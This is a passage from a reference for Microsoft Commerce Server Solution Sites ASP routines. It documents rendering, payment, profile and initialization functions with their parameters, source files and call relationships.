htmRenderPartnerServiceSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the Partner Service section.

Definition

Function htmRenderPartnerServiceSection(
  byVal style
)

Parameters

style
A set of attributes corresponding to the FONT element, passed through to the fuction RenderText.

Return Value

A string containing the HTML representation of the Partner Services section of the menu.asp page.

Defined in File

template\menu.asp

Routines Called

GenerateURL

RenderLink

RenderText

Called By

htmRenderMenu


htmRenderPaymentOptionsForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the payment options for the user.

Definition

Function htmRenderPaymentOptionsForUser(
  listMethods,
  byVal sVerifyWithTotal
)

Defined in File

include\payment.asp

Routines Called

FormatOutput

GenerateURL

GetPaymentMethodDisplayName

GetSimpleList

RenderForm

RenderHiddenField

RenderListBoxFromSimpleList

RenderSubmitButton

RenderText

Called By

htmRenderCreditCardPage

htmRenderPaymentOptionsPage


htmRenderPaymentOptionsPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the payment options page.

Definition

Function htmRenderPaymentOptionsPage(
  iPaymentMethodsCount,
  urlAction,
  dictFldVals,
  dictFldErrs
)

Defined in File

po.asp

Routines Called

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

RenderText

Called By

Main (po.asp)


htmRenderPickshipForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the page for selecting the shipment method.

Definition

Function htmRenderPickshipForm(
  byVal mscsOrderGrp,
  byVal objContext,
  byVal dictAggregate,
  bNoMethodsAvailable
)

Defined in File

pickship.asp

Routines Called

GenerateURL

htmRenderShippingOptionsEx

RenderForm

RenderLink

RenderSubmitButton

RenderText

Called By

Main (pickship.asp)


htmRenderPredictions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders predictions.

Definition

Function htmRenderPredictions(
  mscsOrderGrp,
  oOrderFormDisplayOrder
)

Parameters

mscsOrderGrp
A reference to an OrderGroup object containing the basket contents.
oOrderFormDisplayOrder
A reference to a SimpleList object that contains an alphabetically sorted list of keys corresponding to the OrderForm objects within the OrderGroup object. This allows the OrderForm objects to be processed in alphabetical order regardless of their relative positions with the OrderGroup object.

Return Value

A string containing the HTML representation of the predictions.

Defined in File

basket.asp

Routines Called

GetDictionary

GetSimpleList

PredictedPropToHREF

Called By

RenderBasketPage


htmRenderProductsTable - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a Recordset object containing products in a table format. The table has the following four columns: identifying property (for example SKU), name, description, and price. If the identifying property and name are the same, only three columns are shown.

Definition

Function htmRenderProductsTable(
  byVal oCatalog,
  byVal rsProducts,
  byVal sCategoryName
)

Parameters

oCatalog
A reference to a ProductCatalog object.
rsProducts
A reference to a Recordset object containing products to be represented in HTML, passed through to the function rsPriceAndCurrency.
sCategoryName
A string containing the name of a category, passed through to RenderProductLink.

Return Value

A string containing the HTML representation of the products in a table format.

Defined in File

include\catalog.asp

Routines Called

GetPriceAndCurrency

RenderProductLink

RenderTable

RenderTableDataRow

RenderTableHeaderRow

Called By

htmRenderCategoryPage


htmRenderProfilesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the contents for any LIST-type page.

Definition

Function htmRenderProfilesList(
  byRef sAction,
  byVal sSubAction,
  byRef iPageNumber,
  byRef iTotalPages
)

Defined in File

services\include\render_list.asp

Routines Called

formRenderListPageContents

formRenderProfileSearchOptions

GenerateURL

GetSearchDictionaryForThisPage

htmRenderEmptyRecordSet

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

rsGetProfilesList

sGetPageHeading

tableRenderFooterInfo

Called By

htmListPageActionHandlers


htmRenderSearchDeptPageContent - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the content from the array generated by the arrSearchDept function.

Definition

Function htmRenderSearchDeptPageContent(
  arrData,
  sItemSeparator
)

Parameters

arrData
An array that contains the items.
sItemSeparator
A separator string that separates the catalog name from the category name in every element of the arrData parameter.

Return Value

A string containing the HTML representation of the content in the array generated by the arrSearchDept function.

Defined in File

srchdept.asp

Routines Called

GenerateURL

RenderLink

RenderText

Called By

Main (srchdept.asp)


htmRenderSearchSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the search section on the navigation pane.

Definition

Function htmRenderSearchSection(
  byVal dictSectionTitleStyle,
  byVal dictSectionBodyStyle,
  sSearchValue
)

Parameters

dictSectionTitleStyle
A dictionary variable that defines the font style of the title for the search section, passed through to the function RenderText
dictSectionBodyStyle
A dictionary variable that defines the font style of the body text in the search section.
sSearchValue
A string containing the search value, passed through to the function RenderTextBox.

Return Value

A string containing the HTML representation search section on the navigation pane.

Defined in File

template\menu.asp

Routines Called

GenerateURL

RenderForm

RenderLink

RenderSubmitButton

RenderText

RenderTextBox

Called By

htmRenderMenu


htmRenderSelectEndTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML end select tag, </SELECT>.

Definition

Function htmRenderSelectEndTag

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

htmRenderCountries

htmRenderOrderDateTypes

htmRenderOrderStatusOptions

htmRenderPartnerDeskRoles

htmRenderSiteTerm

htmRenderUserStatusOptions


htmRenderSelectTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the select tag.

Definition

Function htmRenderSelectTag(
  byVal sSelectName
)

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

htmRenderCountries

htmRenderOrderDateTypes

htmRenderOrderStatusOptions

htmRenderPartnerDeskRoles

htmRenderSiteTerm

htmRenderUserStatusOptions


htmRenderShippingMethods - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the shipping methods.

Definition

Function htmRenderShippingMethods(
  mscsOrderGrp,
  rs
)

Defined in File

pickship.asp

Routines Called

GenerateURL

RenderForm

RenderLink

RenderRadioButton

RenderSubmitButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

Called By

Main (pickship.asp)


htmRenderShippingOptionsEx - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the shipping options, along with a preview of the cost for each shipping method.

Definition

Function htmRenderShippingOptionsEx(
  byVal mscsOrderGrp,
  byVal dictAggregate
)

Defined in File

pickship.asp

Routines Called

htmRenderCurrency

RenderRadioButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

sGetDefaultShippingMethod

Called By

htmRenderPickshipForm


htmRenderSiteTerm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a list box corresponding to a SiteTerm property.

Definition

Function htmRenderSiteTerm(
  byVal oProperty,
  byVal varPropertyValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

colRenderProperty


htmRenderStepSearchPageContent - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the results of a step search.

Definition

Function htmRenderStepSearchPageContent (
  sCategoryName,
  sCatalogName,
  byRef oCatalog,
  bViewResults,
  byRef rsFields,
  byRef rsResults,
  sSearchHandle,
  iMatchesFound,
  iConstraintFieldsCount,
  iNonConstraintFieldsCount,
  arr1,
  arr2,
  bNoValues,
  bClosestMatches
)

Parameters

sCategoryName
A string containing the category name, passed through to the functions RenderText and ShowRefinedSearch.
sCatalogName
A string containing the catalog name, passed through to the function ShowRefinedSearch.
oCatalog
A reference to a ProductCatalog object, passed through to the function ShowSearchMatches.
bViewResults
A Boolean indicating whether to view the search matches (True) or the refined search (False).
rsFields
A reference to a Recordset object containing the searchable fields, passed through to the function ShowRefinedSearch.
rsResults
A reference to a Recordset object containing the search results, passed through to the function ShowSearchMatches.
sSearchHandle
A string containing the search handle.
iMatchesFound
An integer that specifies the number of matches found, passed through to the functions ShowRefinedSearch and ShowSearchMatches.
iConstraintFieldsCount
An integer that specifies the number of constraint fields, passed through to the function ShowRefinedSearch.
iNonConstraintFieldsCount
An integer that specifies the number of non-constraint fields, passed through to the function ShowRefinedSearch.
arr1
An array of non-constraining searchable properties, passed through to the function ShowRefinedSearch.
arr2
An array of constraining searchable properties, passed through to the function ShowRefinedSearch.
bNoValues
A boolean indicating whether there are no values, passed through to the function ShowRefinedSearch.
bClosestMatches
A boolean indicating whether to search for closest matches.

Return Value

A string containing the HTML representation of the step search.

Defined in File

stepsrch.asp

Routines Called

RenderText

ShowRefinedSearch

ShowSearchMatches

Called By

Main (stepsrch.asp)


htmRenderSummaryPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the summary.asp page.

Definition

Function htmRenderSummaryPage(
  mscsOrderGrp,
  mscsAnyOrderform,
  dictAnyItem,
  listMethods,
  bBadVerify
)

Defined in File

summary.asp

Routines Called

htmRenderAddress

htmRenderDiscountsDescriptions

htmRenderGrandTotals

htmRenderOrderForm

htmRenderVerifyWithForm

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

SortDictionaryKeys

Called By

Main (summary.asp)


htmRenderUniqueIDForProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds a globally unique profile identifier to the LIST page.

Definition

Function htmRenderUniqueIDForProfile(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal Count,
  byVal rsProfile
)

Defined in File

services\include\render_list.asp

Routines Called

RenderCheckBox

RenderHiddenField

RenderRadioButton

Called By

arrPopulateProfileDetails


htmRenderUserDefinedProductProperties - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the user-defined properties of the product. Certain properties are treated specially, such as IMAGE_FILENAME_PROPERTY_NAME.

Definition

Function htmRenderUserDefinedProductProperties(
  byVal rsProperties,
  byVal style
)

Parameters

rsProperties
A Recordset object containing the values of the properties of a product.
style
A set of attributes corresponding to the FONT element.

Return Value

A string containing the HTML representation of the user-defined properties of the product.

Defined in File

product.asp

Routines Called

FormatOutput

PeekField

RenderImage

RenderText

sGetPropertyDisplayName

Called By

Main (product.asp)


htmRenderUserStatusOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the user status options.

Definition

Function htmRenderUserStatusOptions(
  byVal sFieldValue,
  byVal bIsRequired
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

colRenderProperty

rowRenderSearchOptionForInteger


htmRenderVariantsList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders all variants of the given product with a radio button in front of the product so the user can select which product variant they want to purchase.

Definition

Function htmRenderVariantsList(
  byVal sIdentifyingVariantProperty,
  byVal rsVariants,
  byVal sSelectedVariantID
)

Parameters

sIdentifyingVariantProperty
A string containing the variant name, passed through to the function RenderRadioButton.
rsVariants
A reference to a Recordset object containing the variants for the given product, passed through to the function listGetVariantPropertiesToShow.
sSelectedVariantID
A string containing the variant ID.

Return Value

A string containing the HTML representation of all the variants of the given product.

Defined in File

product.asp

Routines Called

htmRenderCurrency

listGetVariantPropertiesToShow

RenderRadioButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

sGetPropertyDisplayName

Called By

Main (product.asp)


htmRenderVerifyWithForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a hidden field containing the "verify_with_total" value. To verify that an order has not been altered between the time it was last shown to the user and the time the user completes the purchase, the order total shown to the user is stored in a hidden field; during the purchase, this value is verified to determine whether it matches the order total recalculated after running the total pipeline. If there is a discrepancy, the user is redirected to the order summary with an error.

Definition

Function htmRenderVerifyWithForm(
  mscsOrderGrp,
  listMethods
)

Defined in File

summary.asp

Routines Called

GenerateURL

GetDefaultPaymentMethodForUser

GetPaymentPageFromPaymentMethod

IsEntityInList

RenderForm

RenderHiddenField

RenderSubmitButton

Called By

htmRenderSummaryPage


htmSaveActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks if the user is saving profiles returned by the search criteria in the corresponding list page, then calls an appropriate handler to handle the following cases: SELECTALL_ACTION; ADD_ACTION; COPY_ACTION; EDIT_ACTION.

Definition

Function htmSaveActionHandler(
  byRef sAction,
  byVal sSubAction,
  byRef sProfileIDs
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmInsertProfile

htmSaveAllActionHandler

htmSaveProfiles

PrepareInsertProfile

PrepareSaveAllAction

PrepareSaveProfiles

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

Main (services\partner\account.asp)


htmSaveAllActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Save All" action output.

Definition

Function htmSaveAllActionHandler(
  byVal sAction,
  byRef sSubAction,
  byRef sProfileIDs,
  byVal StatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

htmSaveActionHandler


htmSaveChangesConfirmationHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Save Changes Confirmation" action.

Definition

Function htmSaveChangesConfirmationHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sActionPage,
  byRef sPreviousAction,
  byRef listProfileSchema,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues
)

Defined in File

services\include\messagebox_handlers.asp

Routines Called

bSaveProfileAndRedirect

htmRenderEditPage

htmRenderMessageBoxPage

Called By

htmChangePasswordActionHandler

htmSelectActionHandlerForEdit


htmSaveProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Save Profiles" action output.

Definition

Function htmSaveProfiles(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal bUpdated,
  byVal sSourcePage,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

htmSaveActionHandler


htmSelectActionHandlerForEdit - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Select" action.

Definition

Function htmSelectActionHandlerForEdit(
  byRef sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sActionPage,
  byVal sPreviousAction,
  byVal listProfileSchema,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmSaveChangesConfirmationHandler

Called By

Main (services\partner\account.asp)


htmSelectedActionHandlerForEdit - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Selected" action.

Definition

Function htmSelectedActionHandlerForEdit(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

Main (services\partner\account.asp)


I - O

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This section contains topics for the following routines, beginning with the letters I through O.

Routine | File
iGetCountOfProfiles | services\include\lib.asp
iGetCurrentUserPropertyAccessClass | services\include\lib.asp
iGetWebServerPort | include\global_siteconfig_lib.asp
InitAltCurrencyDisp | include\global_internationalization_lib.asp
InitAuthManager | include\global_profile_lib.asp
InitCacheManager | include\global_cache_lib.asp
InitCatalogManager | include\global_catalog_lib.asp
InitCatalogSets | include\global_catalog_lib.asp
InitCSF | include\global_csf_lib.asp
InitDataFunctions | include\global_data_lib.asp
InitializeBasketPage | basket.asp
InitializeConfirmationPage | confirm.asp
InitializeCreditcardPage | crdtcard.asp
InitializePagingVariables | services\include\lib.asp
InitializePartnerDesk | services\include\initialize.asp
InitializePO | po.asp
InitializeSummaryPage | summary.asp
InitPageSets | include\global_siteconfig_lib.asp
InitPredictor | include\global_predictor_lib.asp
InitProfileService | include\global_profile_lib.asp
InitSitePipelines | include\global_siteconfig_lib.asp
InsertBlankSpace | include\html_lib.asp
InsertHiddenProperty | services\include\save_one_profile.asp
InsertLineBreaks | include\html_lib.asp
InsertParagraphBreaks | include\html_lib.asp
InvokeBizTalk | include\payment.asp
IsActiveDirectoryPresent | include\global_siteconfig_lib.asp
IsBitValueSet | include\std_util_lib.asp
IsEntityInArray | include\std_util_lib.asp
IsEntityInList | include\std_util_lib.asp
IsEntityInSet | include\std_util_lib.asp
IsFormLoginRequired | include\std_access_lib.asp
IsFormSubmitted | include\form_lib.asp
IsNumberInRange | include\std_util_lib.asp
IsPersistentCookieAllowed | include\std_access_lib.asp
IsZipCodeValid | include\addr_lib.asp
Italic | include\html_lib.asp
iValidateSubmittedAddress | addrform.asp
iValidateSubmittedAddressForAddressBook | newaddr.asp
iValidateSubmittedRegistrationData | login\newuser.asp
JoinWebFarm | include\global_siteconfig_lib.asp
listCloneProfileSchema | services\include\lib.asp
listGetProfileSchema | include\global_profile_lib.asp
listGetShownProductsInfo | template\discount.asp
listGetValidPropertiesForMultiEdit | services\include\lib.asp
listGetVariantPropertiesToShow | product.asp
listReConstructPropertiesSchema | services\include\lib.asp
LoadBasket | include\std_ordergrp_lib.asp
LookupCachedFragment | include\std_cache_lib.asp
LookupCachedObject | include\std_cache_lib.asp
LookupRegion | include\addr_lib.asp
Main | _additem.asp
Main | _delall.asp
Main | _delitem.asp
Main | _editqty.asp
Main | _recvpo.asp
Main | _setadrs.asp
Main | _setship.asp
Main | addrbook.asp
Main | addrform.asp
Main | basket.asp
Main | category.asp
Main | confirm.asp
Main | crdtcard.asp
Main | default.asp
Main | dispatch.asp
Main | newaddr.asp
Main | opt-out.asp
Main | pickship.asp
Main | po.asp
Main | product.asp
Main | redir.asp
Main | search.asp
Main | srchdept.asp
Main | stepsrch.asp
Main | summary.asp
Main | welcome.asp
Main | error\baditem.asp
Main | error\badurl.asp
Main | error\closed.asp
Main | error\construc.asp
Main | error\noauth.asp
Main | error\profile.asp
Main | include\global_main_lib.asp
Main | login\_guest.asp
Main | login\login.asp
Main | login\logoff.asp
Main | login\newuser.asp
Main | services\change_password.asp
Main | services\customer\account.asp
Main | services\customer\orders.asp
Main | services\customer\view_order.asp
Main | services\error\badaction.asp
Main | services\error\noaccess.asp
Main | services\error\noorder.asp
Main | services\error\noorgprofile.asp
Main | services\error\noprofile.asp
Main | services\partner\account.asp
Main | services\partner\edit_user.asp
Main | services\partner\orders.asp
Main | services\partner\users.asp
Main | services\partner\view_order.asp
MoveBasketItems | login\login.asp
mscsGetCategoryObject | include\catalog.asp
mscsGetOrderGroupWithDiscountsByID | services\include\logic_orders.asp
mscsGetProductList | include\catalog.asp
mscsGetSubCategoriesList | include\catalog.asp
mscsNewRegisteredUserProfile | login\newuser.asp
mscsTransferGuestUserProfile | login\newuser.asp
mscsUserCatalogs | include\catalog.asp
mscsUserCatalogsetID | include\catalog.asp
mscsUserCatalogsFromID | include\catalog.asp
oCachedDiscountProductInfo | template\discount.asp
oGetBizDataObject | include\global_data_lib.asp
oGetGenIDObject | include\global_data_lib.asp
oGetOpenConnectionObject | include\global_profile_lib.asp
oGetProfile | include\global_profile_lib.asp
oGetSiteTermOptions | include\global_siteterms_lib.asp
OptOut | opt-out.asp
OrderListActionHandler | services\customer\orders.asp


iGetCountOfProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns –1 if the sSubAction parameter is equal to the constant SELECTALL_ACTION. Otherwise, it returns the number of profiles in the string specified by the sProfileIDs parameter.

Definition

Function iGetCountOfProfiles(
  byVal sSubAction,
  byVal sProfileIDs
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

bSaveProfileAndRedirect

bSaveProfileDetails

bSaveReadWriteProperty

CheckIfOrderExists

CheckIfProfilesExist

colRenderForeignKeyProperty

colRenderPrimaryKeyProperty

colRenderUniqueKeyProperty

DeleteSelectedProfiles

htmRenderChangePasswordPage

htmRenderEditPage

htmRenderMessageBoxPage

PrepareCloseAction

PrepareCopyAction

PrepareDeleteAction

PrepareEditAction

PrepareOrderDetailsAction

PrepareSaveProfiles

rowRenderHiddenProperty

rowRenderReadOnlyProperty

SaveReadOnlyProperty

SaveUserAccountControlProperty

SaveUserPartnerDeskRoleProperty

SelectedActionHandlerForList

sRenderHTMLPreFixForProperty

tableChangePasswordTasks

tableRenderEditPageTasks

tableRenderProfiles

UpdateSelectActionPropertyName

UpdateUserPasswordProperty

varUpdateValueForCurrentAction


iGetCurrentUserPropertyAccessClass - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function is used in Partner Services to determine whether the current user is a guest, a registered user, or a delegated administrator.

Definition

Function iGetCurrentUserPropertyAccessClass()

Defined in File

services\include\lib.asp

Routines Called

EnsureUserProfile

Called By

bInsertProperty

bIsPropertyValueAdded

bProfileHasChanged

bSaveProfileDetails

listGetValidPropertiesForMultiEdit

listReConstructPropertiesSchema

SaveAllSelectedProfiles

tableRenderBlankProfile

tableRenderProfiles

ValidateFields


iGetWebServerPort - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function returns the Web server port number being used for the site. For Web farms, it is assumed that the sites on all servers are using the same port number.

Definition

Function iGetWebServerPort()

Defined in File

include\global_siteconfig_lib.asp

Routines Called

GetSiteConfigObject

Called By

GetMachineBaseURL


InitAltCurrencyDisp - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a EuroDisplay object. This enables the display of the Euro as an alternate currency.

Definition

InitAltCurrencyDisp()

Defined in File

include\global_internationalization_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitAuthManager - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates an AuthManager object and returns a reference to it.

Definition

Function InitAuthManager()

Defined in File

include\global_profile_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitCacheManager - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a CacheManager object. For more information about the individual caches created, see Remarks.

Definition

Function InitCacheManager(
  oEvaluator
)

Defined in File

include\global_cache_lib.asp

Routines Called

GetDictionary

GetMachineBaseURL

Called By

Main (include\global_main_lib.asp)

Remarks

Individual caches are created with the following names:

advertising, DefaultPageCache, DiscountProductInfo, discounts, FTSearchPageCache, ProductListCache, ProductPageCache, QueryCatalogInfoCache, SampleRegionalTaxCache, SearchDeptPageCache, ShippingManagerCache, StaticSectionsCache, StepSearchPageCache

For more information about caching in the Solution Sites, see Caching Solution Sites.


InitCatalogManager - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a CatalogManager object.

Definition

Function InitCatalogManager()

Defined in File

include\global_catalog_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitCatalogSets - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and initializes a CatalogSets object. Then it creates, initializes, and returns a reference to a Dictionary object of Dictionary objects, where each subordinate dictionary represents a CatalogSets object, and each entry in the subordinate dictionaries represents a catalog in the corresponding CatalogSets object.

Definition

Function InitCatalogSets()

Defined in File

include\global_catalog_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitCSF - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub creates and initializes the global context Dictionary objects and the event recording pipeline for the Content Selection Framework (CSF).

Definition

Sub InitCSF(
  oPipelineMap,
  oCacheManager,
  oExpressionEvaluator
)

Defined in File

include\global_csf_lib.asp

Routines Called

GetBaseURL

Called By

Main (include\global_main_lib.asp)

Remarks

The following three entries are assigned to the intrinsic Application object:

CSFAdvertisingContext

CSFDiscountContext

CampaignsCSFEventPipe


InitDataFunctions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates a DataFunctions object and returns a reference to it, setting the default locale before returning.

Definition

Function InitDataFunctions()

Defined in File

include\global_data_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)


InitializeBasketPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the basket.asp page.

Definition

Sub InitializeBasketPage(
  byRef objOrderGroup,
  byRef bBasketIsEmpty,
  byRef bMustSaveBasket,
  byRef oOrderFormDisplayOrder
)

Defined in File

basket.asp

Routines Called

LoadBasket

Called By

Main (basket.asp)


InitializeConfirmationPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the order confirmation page.

Definition

Sub InitializeConfirmationPage(
  byRef sOrderID,
  byRef mscsOrderGrp,
  byRef sOrderNumber
)

Defined in File

confirm.asp

Routines Called

GenerateURL

GetOrderGroup

GetRequestString

Called By

Main (confirm.asp)


InitializeCreditcardPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the crdtcard.asp page.

Definition

Sub InitializeCreditcardPage(
  byRef iOrderGroupID,
  byRef bSuccess,
  byRef listMethods,
  byRef listFrmErrs,
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef sVerifyWithTotal,
  byRef urlAction,
  byRef iErrorLevel
)

Defined in File

crdtcard.asp

Routines Called

CatchErrorsForPaymentPages

GenerateURL

GetDefaultValuesForCreditCardFields

GetListItemIndex

GetPaymentMethodsForUser

GetSubmittedFieldValues

IsFormSubmitted

LoadBasket

SaveBasketAsOrder

ValidateSubmittedCreditCardData

Called By

Main (crdtcard.asp)


InitializePagingVariables - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes paging variables for Customer and Partner Services. The iPageNumber and iTotalPages parameters are initialized based on the values of the sAction and bIsProfilePage parameters.

Definition

Sub InitializePagingVariables(
  byRef sAction,
  byRef iPageNumber,
  byRef iTotalPages,
  byVal bIsProfilePage
)

Defined in File

services\include\lib.asp

Routines Called

None.

Called By

htmListPageActionHandlers

htmOrderListActionHandler

OrderListActionHandler


InitializePartnerDesk - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters for use in all Customer and Partner Services pages.

Definition

Sub InitializePartnerDesk(
  byRef sAction,
  byRef sSubAction,
  byRef sProfileIDs
)

Defined in File

services\include\initialize.asp

Routines Called

sGetAction

sGetSelectedIDs

sGetSubAction

Called By

Main (services\change_password.asp)

Main (services\customer\account.asp)

Main (services\customer\orders.asp)

Main (services\customer\view_order.asp)

Main (services\partner\account.asp)

Main (services\partner\edit_user.asp)

Main (services\partner\orders.asp)

Main (services\partner\users.asp)

Main (services\partner\view_order.asp)


InitializePO - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the po.asp page.

Definition

Sub InitializePO(
  byRef mscsOrderGrp,
  byRef listMethods,
  byRef sVerifyWithTotal,
  byRef bSuccess,
  byRef dictFldVals,
  byRef dictFldErrs,
  byRef listFlds,
  byRef urlAction
)

Defined in File

po.asp

Routines Called

CatchErrorsForPaymentPages

GenerateURL

GetPaymentMethodsForUser

LoadBasket

Called By

Main (po.asp)


InitializeSummaryPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This sub initializes its parameters in preparation for displaying the summary.asp page. It also runs the basket and total pipelines.

Definition

Sub InitializeSummaryPage(
  byRef mscsOrderGrp,
  byRef listMethods,
  byRef mscsAnyOrderForm,
  byRef dictAnyItem
)

Defined in File

summary.asp

Routines Called

CatchErrors (summary.asp)

GenerateURL

GetAnyLineItem

GetAnyOrderForm

GetErrorCount

GetPaymentMethodsForUser

GetPipelineLogFile

LoadBasket

RunMtsPipeline

Called By

Main (summary.asp)


InitPageSets - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates sets of related pages, which are returned in a Dictionary object, where each entry in the dictionary is a string of comma-separated page names.

Definition

Function InitPageSets(
  MSCSSitePages
)

Defined in File

include\global_siteconfig_lib.asp

Routines Called

CreateSet

Called By

Main (include\global_main_lib.asp)

Remarks

Page sets are useful, for example, when you have a set of pages on which you want to show a particular advertisement. The IsEntityInSet function is used to test whether an item is in a given set.

The following three dictionary entries (page sets) are created:

PurchasePageSet

ProductPageSet

AdvertisementPageSet


InitPredictor - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates, initializes, and returns a PredictorClient object. Before returning, it also loads the Transaction prediction model from the Data Warehouse, and sets prediction properties.

Definition

Function InitPredictor()

Defined in File

include\global_predictor_lib.asp

Routines Called

GetDWConnectionString

Called By

Main (include\global_main_lib.asp)


InitProfileService - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function creates and initializes a ProfileService object, and returns a reference to it.

Definition

Function InitProfileService()

Defined in File

include\global_profile_lib.asp

Routines Called

None.

Called By

Main (include\global_main_lib.asp)

ProfileRefresh


InitSitePipelines - Solution Sites Routine

